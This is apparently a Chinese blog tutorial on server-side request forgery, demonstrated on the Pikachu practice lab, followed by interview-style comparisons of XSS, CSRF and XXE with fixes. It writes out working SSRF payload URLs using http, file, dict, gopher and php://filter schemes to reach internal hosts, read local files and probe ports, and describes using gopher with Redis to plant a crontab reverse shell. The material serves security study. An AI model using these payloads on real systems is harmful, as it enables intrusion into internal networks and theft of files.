SSRF攻击技术

1、SSRF形成原因

       SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)

2、SSRF漏洞可利用的用途

  • 可以对外网服务器所在内网、本地进行端口扫描,获取一些服务的banner信息

  • 攻击运行在内网或本地的应用程序(比如溢出)

  • 对内网web应用进行指纹识别,通过访问默认文件实现

  • 攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等

  • 利用file协议读取本地文件等

SSRF攻击结果由涵数本身来决定,涵数功能越强大,攻击成功的机会就越高,如:curl_init、file_get_contents、fsockopen

3、如何挖掘ssrf漏洞 

  • 分享:通过URL地址分享网页内容

  • 转码服务

  • 在线翻译

  • 图片加载与下载:通过URL地址加载或下载图片

  • 图片、文章收藏功能

  • 未公开的api实现以及其他调用URL的功能

  • 从URL关键字中寻找:

    • share

    • wap

    • url

    • link

    • src

    • source

    • target

    • u

    • 3g

    • display

    • sourceURl

    • imageURL

    • domain

    • ...

 phpstudy选择5.4.45版本:

打开pikachu靶场环境:

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_curl.php

curl  函数

curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP

查看源代码:

 //接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
    $URL = $_GET['url'];
    $CH = curl_init($URL);

使用了url参数,未经过滤给了curl_init函数
 

https协议的运用 

 通过添加URL参数url的值指向第三方百度网页:(因支持https协议)

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_curl.php?url=https://www.baidu.com

 说明:

IP地址和端口:

  • 10.0.0.101: 这是一个本地或私有网络IP地址。
  • :90: 这是服务器上运行的应用程序的端口号。

路径和文件

/pikachu/vul/ssrf/ssrf_curl.php: 这是服务器上的文件路径。

URL参数

?url=https://www.baidu.com: 这个URL参数url的值指向了百度的公共网站。在正常情况下,如果ssrf_curl.php使用这个参数来发起HTTP请求,它会访问百度。但在存在SSRF漏洞的情况下,攻击者可能会利用这个参数构造恶意请求,指向内部网络资源,从而获取未授权的数据。

 http协议的运用

也可以通过ssrf攻击访问内网其他主机:(http协议)

如:访问内网win10主机的根目录所有网站信息:

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_curl.php?url=http://10.0.0.103:99

内网win2003主机  http://10.0.0.101:90/
内网win10主机   http://10.0.0.103:99/ 

 成功显示网站信息:


file协议的运用

通过file读取文件信息:

如读取目标主机c盘下2024.txt文件内容

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/2024.txt

成功读取2024.txt文件内容 


dict协议的运用

 通过dict探测端口:

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_curl.php?url=dict://10.0.0.103:99

 输入不存在的端口号,网页不显示内容:

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_curl.php?url=dict://10.0.0.103:8080

可通过抓包工具设置端口变量跑端口 


 gopher协议的运用

简要介绍:gopher协议是比http协议更早出现的协议,现在已经不常用了,但是在SSRF漏洞利用中gopher可以说是万金油,因为可以使用gopher发送各种格式的请求包,这样变可以解决漏洞点不在GET参数的问题了。 

进行如下请求可以发送一个POST请求,且参数cmd的值为balabal,这里构造gopher请求的时候,回车换行符号要进行2次url编码%250d%250a

http://192.168.0.100/ssrf1.php?url=gopher://192.168.0.105:8080/_POST%20/test.php%20HTTP/1.1%250d%250aHost:%20192.168.0.105:8080%250d%250aUser-Agent:%20curl/7.43.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250aid=1

此时可以在192.168.0.105主机中的access.log,找到访问日志。

当然也可以使用网络数据包分析工具,抓取TCP流量中HTTP的数据,这里我使用的是 burp。

 bp请求包内容等同于:

POST%20/test.php%20HTTP/1.1%250d%250aHost:%20192.168.0.105:8080%250d%250aUser-Agent:%20curl/7.43.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250aid=1

由于gopher可以构造各种HTTP请求包,所以gopher在SSRF漏洞利用中充当万金油的角色


file_get_contents() 函数

file_get_contents() 函数在PHP中支持多种协议,不仅可以用于读取本地文件,还可以用于获取远程资源。以下是它支持的一些常见协议:

  1. file:用于读取本地文件系统中的文件,例如 file:///path/to/file.txt
  2. http:用于从HTTP服务器获取内容,如 http://www.example.com/page.html
  3. https:用于从HTTPS服务器安全地获取内容,如 https://www.example.com/secure_page.php
  4. ftp:用于从FTP服务器下载文件,需要服务器支持被动模式(FTP_PASV)以绕过一些防火墙限制。
  5. ftps:用于通过FTP的SSL/TLS加密层安全地下载文件。
  6. data:用于处理data:URI,这种URI可以直接在HTTP请求中包含小量数据,例如图片或文本。
  7. phar:用于读取PHP的Phar归档文件。
  8. compress.zlib 和 compress.bzip2:用于解压缩通过zlib或bzip2压缩的文件。
  9. env:用于获取环境变量的值。

 打开pikachu靶场环境--点击ssrf--file_get_contents():

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_fgc.phpfile_get_contents
 http协议应用

访问百度

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_fgc.php?file=http://www.baidu.com

 读取当前目录下ssrf.php源代码(并进行base64编码):

?file=php://filter/read=convert.base64-encode/resource=ssrf.php

当前目录下的ssrf.php

添加 ../ 可以访问上级目录的文件,如../lan.php

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php

 读取成功,

复制读取到的源码进行解码:

PD9waHAKLyoqCiAqIENyZWF0ZWQgYnkgcnVubmVyLmhhbgogKiBUaGVyZSBpcyBub3RoaW5nIG5ldyB1bmRlciB0aGUgc3VuCiAqLwoKCiRTRUxGX1BBR0UgPSBzdWJzdHIoJF9TRVJWRVJbJ1BIUF9TRUxGJ10sc3RycnBvcygkX1NFUlZFUlsnUEhQX1NFTEYnXSwnLycpKzEpOwoKaWYgKCRTRUxGX1BBR0UgPSAic3NyZi5waHAiKXsKICAgICRBQ1RJVkUgPSBhcnJheSgnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnYWN0aXZlIG9wZW4nLCdhY3RpdmUnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnKTsKfQoKJFBJS0FfUk9PVF9ESVIgPSAgIi4uLy4uLyI7CmluY2x1ZGVfb25jZSAkUElLQV9ST09UX0RJUi4naGVhZGVyLnBocCc7CgoKCgoKCj8+CgoKPGRpdiBjbGFzcz0ibWFpbi1jb250ZW50Ij4KICAgIDxkaXYgY2xhc3M9Im1haW4tY29udGVudC1pbm5lciI+CiAgICAgICAgPGRpdiBjbGFzcz0iYnJlYWRjcnVtYnMgYWNlLXNhdmUtc3RhdGUiIGlkPSJicmVhZGNydW1icyI+CiAgICAgICAgICAgIDx1bCBjbGFzcz0iYnJlYWRjcnVtYiI+CiAgICAgICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImFjZS1pY29uIGZhIGZhLWhvbWUgaG9tZS1pY29uIj48L2k+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0ic3NyZi5waHAiPjwvYT4KICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9ImFjdGl2ZSI+5qaC6L+wPC9saT4KICAgICAgICAgICAgPC91bD4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJwYWdlLWNvbnRlbnQiPgoKICAgICAgICAgPGI+U1NSRihTZXJ2ZXItU2lkZSBSZXF1ZXN0IEZvcmdlcnk65pyN5Yqh5Zmo56uv6K+35rGC5Lyq6YCgKTwvYj4KICAgICAgICAgPHA+5YW25b2i5oiQ55qE5Y6f5Zug5aSn6YO95piv55Sx5LqO5pyN5Yqh56uvPGI+5o+Q5L6b5LqG5LuO5YW25LuW5pyN5Yqh5Zmo5bqU55So6I635Y+W5pWw5o2u55qE5Yqf6IO9PC9iPizkvYblj4jmsqHmnInlr7nnm67moIflnLDlnYDlgZrkuKXmoLzov4fmu6TkuI7pmZDliLY8L3A+CiAgICAgICAgICAgIOWvvOiHtOaUu+WHu+iAheWPr+S7peS8oOWFpeS7u+aEj+eahOWcsOWdgOadpeiuqeWQjuerr+acjeWKoeWZqOWvueWFtuWPkei1t+ivt+axgizlubbov5Tlm57lr7nor6Xnm67moIflnLDlnYDor7fmsYLnmoTmlbDmja48YnI+CiAgICAgICAgICAgIDxicj4KICAgICAgICAgICAg5pWw5o2u5rWBOuaUu+WHu+iAhS0tLS0tPuacjeWKoeWZqC0tLS0+55uu5qCH5Zyw5Z2APGJyPgogICAgICAgICAgICA8YnI+CiAgICAgICAgICAgIOagueaNruWQjuWPsOS9v+eUqOeahOWHveaVsOeahOS4jeWQjCzlr7nlupTnmoTlvbHlk43lkozliKnnlKjmlrnms5Xlj4jmnInkuI3kuIDmoLcKICAgICAgICAgICAgPHByZSBzdHlsZT0id2lkdGg6IDUwMHB4OyI+ClBIUOS4reS4i+mdouWHveaVsOeahOS9v+eUqOS4jeW9k+S8muWvvOiHtFNTUkY6CmZpbGVfZ2V0X2NvbnRlbnRzKCkKZnNvY2tvcGVuKCkKY3VybF9leGVjKCkKICAgICAgICAgICAgPC9wcmU+PGJyPgogICAgICAgICAgICDlpoLmnpzkuIDlrpropoHpgJrov4flkI7lj7DmnI3liqHlmajov5znqIvljrvlr7nnlKjmiLfmjIflrpooIuaIluiAhemihOWfi+WcqOWJjeerr+eahOivt+axgiIp55qE5Zyw5Z2A6L+b6KGM6LWE5rqQ6K+35rGCLDxiPuWImeivt+WBmuWlveebruagh+WcsOWdgOeahOi/h+a7pDwvYj7jgIIKPGJyPgogICAgICAgICAgICA8YnI+CgogICAgICAgICAgICDkvaDlj6/ku6XmoLnmja4iU1NSRiLph4zpnaLnmoTpobnnm67mnaXmkJ7mh4Lpl67popjnmoTljp/lm6AKCiAgICAgICAgPC9kaXY+PCEtLSAvLnBhZ2UtY29udGVudCAtLT4KICAgIDwvZGl2Pgo8L2Rpdj48IS0tIC8ubWFpbi1jb250ZW50IC0tPgoKCgo8P3BocAppbmNsdWRlX29uY2UgJFBJS0FfUk9PVF9ESVIgLiAnZm9vdGVyLnBocCc7Cgo/Pgo=

 成功获取到源代码:


4、ssrf 怎么用 redis 写 shell ?

(1)SSRF 服务端请求伪造

  • 一、对内网扫描,获取 banner

  • 二、攻击运行在内网的应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)

  • 三、利用协议读取本地文件

  • 四、云计算环境 AWS Google Cloud 环境可以调用内网操作 ECS 的 API

(2)如 webligic SSRF 漏洞通过 SSRF 的 gopher 协议操作内网的 redis,利用 redis 将反弹 shell 写入 crontab 定时任务,url 编码,将\r 字符串替换成%0d%0a https://www.jianshu.com/p/42a3bb2b2c2c 


5、CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?

  • XSS 是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用 HTTP Only 来禁止 JavaScript 读取 Cookie 值、输入时校验、输出时采用 html 实体编码。

  • CSRF 是跨站请求伪造攻击,XSS 是实现 CSRF 的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范 CSRF 的页面然后嵌入 Token、再次输入密码、检验 Referer

  • XXE 是 XML 外部实体注入攻击,XML 中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML 解析库在调用时严格禁止对外部实体的解析。

  • 重点:


 6、XXS与SSRF的区别?

SSRF属于服务端攻击,无需输出就能攻击,利用dnslog来实现攻击的,结果值在dnslog日志体现; XSS属于客户端攻击,必须有输入和输出,xss不需要登陆就可以实现脚本攻击


 7、CSRF、SSRF 和重放攻击有什么区别?

CSRF 是跨站请求伪造攻击,由客户端发起;是在建立会话的过程点击;攻击客户端; SSRF 是服务器端请求伪造,由服务器发起;不需要建立会话过程,是攻击内网 重放攻击是将截获的数据包进行重放,达到身份认证等目的


声明:

  • 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。
  • 26
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值